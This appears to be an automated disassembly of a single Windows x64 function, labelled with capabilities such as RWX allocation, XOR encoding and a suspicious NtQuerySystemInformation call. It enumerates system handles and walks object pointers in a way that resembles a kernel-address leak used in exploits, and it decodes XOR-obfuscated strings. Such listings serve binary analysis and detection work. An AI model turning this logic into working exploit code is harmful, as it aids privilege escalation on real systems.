Function at 0x14004e840
Capabilities:
Allocate or change rwx memory
Encode data using xor
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rax, qword [0x140093010]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor ebx, ebx
lea r9, [rbp + 7]
mov r14, rcx
mov dword [rbp + 7], ebx
xor r8d, r8d
xor edx, edx
mov edi, ebx
lea ecx, [rbx + 0x40]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14004e8d6
nop word [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 7]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rbp + 7]
lea r9, [rbp + 7]
mov rdx, rax
mov ecx, 0x40
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x14004e890
mov qword [rsp + 0xe8], rsi
mov qword [rsp + 0xf0], r15
test eax, eax
js 0x14004ef71
test rdi, rdi
je 0x14004ef87
mov r15, rbx
mov esi, ebx
cmp qword [rdi], rbx
jbe 0x14004e968
mov rax, rbx
nop dword [rax]
nop dword [rax + rax]
lea rax, [rax + rax*4]
movups xmm0, xmmword [rdi + rax*8 + 0x10]
movsd xmm1, qword [rdi + rax*8 + 0x30]
movups xmmword [rbp - 9], xmm0
movups xmmword [rbp - 0x59], xmm0
movups xmm0, xmmword [rdi + rax*8 + 0x20]
movsd qword [rbp - 0x39], xmm1
movups xmmword [rbp - 0x49], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
movups xmm0, xmmword [rbp - 9]
mov ecx, eax
psrldq xmm0, 8
movq rax, xmm0
cmp rax, rcx
jne 0x14004e956
cmp qword [rbp - 0x49], r14
je 0x14004e964
inc esi
mov eax, esi
cmp rax, qword [rdi]
jb 0x14004e910
jmp 0x14004ef76
mov r15, qword [rbp - 0x59]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r15, r15
je 0x14004ef87
lea r8, [r15 + 8]
mov qword [rbp + 0x27], rbx
mov r9d, 8
lea rdx, [rbp + 0x27]
mov rcx, r14
call fcn.14004d3a0
test al, al
je 0x14004eed1
mov r8, qword [rbp + 0x27]
test r8, r8
je 0x14004eed1
add r8, 8
mov qword [rbp + 0x2f], rbx
mov r9d, 8
lea rdx, [rbp + 0x2f]
mov rcx, r14
call fcn.14004d3a0
test al, al
je 0x14004ee31
mov r8, qword [rbp + 0x2f]
test r8, r8
je 0x14004ee31
add r8, 0x28
mov qword [rbp + 0x1f], rbx
mov r9d, 8
lea rdx, [rbp + 0x1f]
mov rcx, r14
call fcn.14004d3a0
test al, al
je 0x14004ed89
mov r8, qword [rbp + 0x1f]
test r8, r8
je 0x14004ed89
xorps xmm0, xmm0
lea rdx, [rbp + 0xf]
add r8, 0x58
mov r9d, reloc.WS2_32.dll_recv
mov rcx, r14
movups xmmword [rbp + 0xf], xmm0
call fcn.14004d3a0
test al, al
je 0x14004ecf2
movzx eax, word [rbp + 0xf]
test ax, ax
je 0x14004ecf2
mov ecx, eax
mov eax, 2
shr rcx, 1
inc rcx
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14006d8f4
movzx r8d, word [rbp + 0xf]
xor edx, edx
add r8, 2
mov rcx, rax
mov rdi, rax
call fcn.14006e54a
movzx r9d, word [rbp + 0xf]
mov rdx, rdi
mov r8, qword [rbp + 0x17]
mov rcx, r14
call fcn.14004d3a0
test al, al
jne 0x14004eb4d
mov dword [rbp - 0x59], 0xc658c623
mov ecx, 0x3988
mov dword [rbp - 0x55], 0xc65bc627
mov dword [rbp - 0x51], 0xc61cc63a
mov dword [rbp - 0x4d], 0xc613c617
mov dword [rbp - 0x49], 0xc6e5c6e5
mov dword [rbp - 0x45], 0xc6f7c6a2
mov dword [rbp - 0x41], 0xc6a5c6eb
mov dword [rbp - 0x3d], 0xc6e2c6f4
mov dword [rbp - 0x39], 0xc6edc6e9
mov dword [rbp - 0x35], 0xc6efc6aa
mov dword [rbp - 0x31], 0xc6e4c6fe
mov dword [rbp - 0x2d], 0xc6eac6f8
mov dword [rbp - 0x29], 0xc6b1c6e2
mov dword [rbp - 0x25], 0xc6f2c6fc
mov dword [rbp - 0x21], 0xc6f0c6f9
mov word [rbp - 0x1d], bx
mov byte [rbp - 0x1b], 1
nop dword [rax]
movzx eax, bx
sub ax, cx
xor word [rbp + rbx*2 - 0x59], ax
inc rbx
cmp rbx, 0x1e
jb 0x14004eb10
mov byte [rbp - 0x1b], 0
lea rdx, [rbp - 0x59]
mov rcx, qword [0x140070250]
call fcn.140054b30
lea rdx, [0x140054d10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x14004ef87
mov rdx, qword [rbp + 0x1f]
lea r8, [rbp + 0xf]
add rdx, 0x58
mov word [rbp + 0xf], bx
mov r9d, reloc.WS2_32.dll_recv
mov rcx, r14
call fcn.14004d3a0
mov dword [rbp - 0x55], 0xc65bc627
mov ecx, 0x3988
test al, al
jne 0x14004ec31
mov dword [rbp - 0x59], 0xc658c623
mov dword [rbp - 0x51], 0xc61cc63a
mov dword [rbp - 0x4d], 0xc613c617
mov dword [rbp - 0x49], 0xc6e5c6e5
mov dword [rbp - 0x45], 0xc6f7c6a2
mov dword [rbp - 0x41], 0xc6a5c6eb
mov dword [rbp - 0x3d], 0xc6f5c6f1
mov dword [rbp - 0x39], 0xc6fdc6e1
mov dword [rbp - 0x35], 0xc6abc6ef
mov dword [rbp - 0x31], 0xc6ffc6e8
mov dword [rbp - 0x2d], 0xc6f9c6e7
mov dword [rbp - 0x29], 0xc6e3c6f5
mov dword [rbp - 0x25], 0xc6fdc6b2
mov dword [rbp - 0x21], 0xc6f8c6f5
mov dword [rbp - 0x1d], 0xc6b7c6f3
mov dword [rbp - 0x19], 0xc6fcc6f4
mov dword [rbp - 0x15], 0xc6fcc6f4
mov dword [rbp - 0x11], 0xc6f5c6e8
mov word [rbp - 0xd], bx
mov byte [rbp - 0xb], 1
nop word [rax + rax]
movzx eax, bx
sub ax, cx
xor word [rbp + rbx*2 - 0x59], ax
inc rbx
cmp rbx, 0x26
jb 0x14004ec10
mov byte [rbp - 0xb], 0
lea rdx, [rbp - 0x59]
jmp 0x14004eb2c
mov dword [rbp - 0x59], 0xc652c623
mov dword [rbp - 0x51], 0xc610c631
mov dword [rbp - 0x4d], 0xc611c62b
mov dword [rbp - 0x49], 0xc6eec6ec
mov dword [rbp - 0x45], 0xc6e7c6e3
mov dword [rbp - 0x41], 0xc6e1c6e1
mov dword [rbp - 0x3d], 0xc6f5c6c2
mov dword [rbp - 0x39], 0xc6ffc6e1
mov dword [rbp - 0x35], 0xc6f9c6ef
mov dword [rbp - 0x31], 0xc6adc6ff
mov dword [rbp - 0x2d], 0xc6e3c6cd
mov dword [rbp - 0x29], 0xc6f0c6f5
mov dword [rbp - 0x25], 0xc6f6c6fc
mov dword [rbp - 0x21], 0xc6afc6f0
mov dword [rbp - 0x1d], 0xc6b6
mov byte [rbp - 0x19], 1
nop
movzx eax, bx
sub ax, cx
xor word [rbp + rbx*2 - 0x59], ax
inc rbx
cmp rbx, 0x1f
jb 0x14004eca0
mov rcx, qword [0x140070250]
lea rdx, [rbp - 0x59]
mov byte [rbp - 0x19], 0
call fcn.140054b30
mov rcx, rax
mov rdx, rdi
call fcn.140054b30
lea rdx, [0x140054d10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rdi
call fcn.14006d350
mov al, 1
jmp 0x14004ef89
mov dword [rbp - 0x59], 0xc658c623
mov ecx, 0x3988
mov dword [rbp - 0x55], 0xc65bc627
mov dword [rbp - 0x51], 0xc61cc63a
mov dword [rbp - 0x4d], 0xc613c617
mov dword [rbp - 0x49], 0xc6e5c6e5
mov dword [rbp - 0x45], 0xc6f7c6a2
mov dword [rbp - 0x41], 0xc6a5c6eb
mov dword [rbp - 0x3d], 0xc6eec6e0
mov dword [rbp - 0x39], 0xc6edc6e6
mov dword [rbp - 0x35], 0xc6efc6aa
mov dword [rbp - 0x31], 0xc6e4c6fe
mov dword [rbp - 0x2d], 0xc6eac6f8
mov dword [rbp - 0x29], 0xc6b1c6e2
mov dword [rbp - 0x25], 0xc6f2c6fc
mov dword [rbp - 0x21], 0xc6f0c6f9
mov word [rbp - 0x1d], bx
mov byte [rbp - 0x1b], 1
nop dword [rax + rax]
movzx eax, bx
sub ax, cx
xor word [rbp + rbx*2 - 0x59], ax
inc rbx
cmp rbx, 0x1e
jb 0x14004ed70
jmp 0x14004eb24
mov dword [rbp - 0x59], 0xc658c623
mov ecx, 0x3988
mov dword [rbp - 0x55], 0xc65bc627
mov dword [rbp - 0x51], 0xc61cc63a
mov dword [rbp - 0x4d], 0xc613c617
mov dword [rbp - 0x49], 0xc6e5c6e5
mov dword [rbp - 0x45], 0xc6f7c6a2
mov dword [rbp - 0x41], 0xc6a5c6eb
mov dword [rbp - 0x3d], 0xc6eec6e0
mov dword [rbp - 0x39], 0xc6edc6e6
mov dword [rbp - 0x35], 0xc6efc6aa
mov dword [rbp - 0x31], 0xc6e4c6fe
mov dword [rbp - 0x2d], 0xc6eac6f8
mov dword [rbp - 0x29], 0xc6cec6e2
mov dword [rbp - 0x25], 0xc6f6c6e1
mov dword [rbp - 0x21], 0xc6e1c6f7
mov dword [rbp - 0x1d], 0xc6f8c6ff
mov dword [rbp - 0x19], 0xc6f6
mov byte [rbp - 0x15], 1
nop dword [rax]
movzx eax, bx
sub ax, cx
xor word [rbp + rbx*2 - 0x59], ax
inc rbx
cmp rbx, 0x21
jb 0x14004ee10
mov byte [rbp - 0x15], 0
lea rdx, [rbp - 0x59]
jmp 0x14004eb2c
mov dword [rbp - 0x59], 0xc658c623
mov ecx, 0x3988
mov dword [rbp - 0x55], 0xc65bc627
mov dword [rbp - 0x51], 0xc61cc63a
mov dword [rbp - 0x4d], 0xc613c617
mov dword [rbp - 0x49], 0xc6e5c6e5
mov dword [rbp - 0x45], 0xc6f7c6a2
mov dword [rbp - 0x41], 0xc6a5c6eb
mov dword [rbp - 0x3d], 0xc6eec6e0
mov dword [rbp - 0x39], 0xc6edc6e6
mov dword [rbp - 0x35], 0xc6efc6aa
mov dword [rbp - 0x31], 0xc6e4c6fe
mov dword [rbp - 0x2d], 0xc6eac6f8
mov dword [rbp - 0x29], 0xc6cec6e2
mov dword [rbp - 0x25], 0xc6f1c6fd
mov dword [rbp - 0x21], 0xc6f0c6fe
mov dword [rbp - 0x1d], 0xc6e3c6f5
mov word [rbp - 0x19], bx
mov byte [rbp - 0x17], 1
nop
movzx eax, bx
sub ax, cx
xor word [rbp + rbx*2 - 0x59], ax
inc rbx
cmp rbx, 0x20
jb 0x14004eeb0
mov byte [rbp - 0x17], 0
lea rdx, [rbp - 0x59]
jmp 0x14004eb2c
mov dword [rbp - 0x59], 0xc658c623
mov ecx, 0x3988
mov dword [rbp - 0x55], 0xc65bc627
mov dword [rbp - 0x51], 0xc61cc63a
mov dword [rbp - 0x4d], 0xc613c617
mov dword [rbp - 0x49], 0xc6e5c6e5
mov dword [rbp - 0x45], 0xc6f7c6a2
mov dword [rbp - 0x41], 0xc6a5c6eb
mov dword [rbp - 0x3d], 0xc6eec6e0
mov dword [rbp - 0x39], 0xc6edc6e6
mov dword [rbp - 0x35], 0xc6efc6aa
mov dword [rbp - 0x31], 0xc6fbc6e9
mov dword [rbp - 0x2d], 0xc6ecc6e7
mov dword [rbp - 0x29], 0xc6cec6f5
mov dword [rbp - 0x25], 0xc6f1c6fd
mov dword [rbp - 0x21], 0xc6f0c6fe
mov dword [rbp - 0x1d], 0xc6e3c6f5
mov word [rbp - 0x19], bx
mov byte [rbp - 0x17], 1
nop
movzx eax, bx
sub ax, cx
xor word [rbp + rbx*2 - 0x59], ax
inc rbx
cmp rbx, 0x20
jb 0x14004ef50
mov byte [rbp - 0x17], 0
lea rdx, [rbp - 0x59]
jmp 0x14004eb2c
test rdi, rdi
je 0x14004ef87
mov r8d, 0x8000
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor al, al
mov r15, qword [rsp + 0xf0]
mov rsi, qword [rsp + 0xe8]
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.14006d260
mov rbx, qword [rsp + 0xf8]
add rsp, 0xc0
pop r14
pop rdi
pop rbp
ret